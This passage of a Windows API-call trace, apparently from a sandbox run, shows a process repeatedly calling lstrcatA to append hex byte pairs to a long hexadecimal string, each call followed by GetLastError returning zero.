	[0061.656] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd3", lpString2="9a" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39a") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39a"
	[0061.656] GetLastError () returned 0x0
	[0061.656] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39a", lpString2="a5" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5"
	[0061.656] GetLastError () returned 0x0
	[0061.656] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5", lpString2="c8" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8"
	[0061.656] GetLastError () returned 0x0
	[0061.656] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8", lpString2="72" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c872") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c872"
	[0061.656] GetLastError () returned 0x0
	[0061.656] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c872", lpString2="98" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c87298") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c87298"
	[0061.656] GetLastError () returned 0x0
	[0061.656] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c87298", lpString2="34" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834"
	[0061.656] GetLastError () returned 0x0
	[0061.656] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834", lpString2="b8" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b8") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b8"
	[0061.656] GetLastError () returned 0x0
	[0061.656] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b8", lpString2="32" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b832") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b832"
	[0061.656] GetLastError () returned 0x0
	[0061.656] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b832", lpString2="94" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294"
	[0061.656] GetLastError () returned 0x0
	[0061.656] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294", lpString2="aa" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa"
	[0061.656] GetLastError () returned 0x0
	[0061.656] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa", lpString2="7d" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d"
	[0061.656] GetLastError () returned 0x0
	[0061.656] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d", lpString2="38" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d38") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d38"
	[0061.656] GetLastError () returned 0x0
	[0061.657] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d38", lpString2="7e" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e"
	[0061.657] GetLastError () returned 0x0
	[0061.657] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e", lpString2="63" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63"
	[0061.657] GetLastError () returned 0x0
	[0061.657] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63", lpString2="c5" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c5") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c5"
	[0061.657] GetLastError () returned 0x0
	[0061.657] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c5", lpString2="3c" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c"
	[0061.657] GetLastError () returned 0x0
	[0061.657] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c", lpString2="07" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c07") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c07"
	[0061.657] GetLastError () returned 0x0
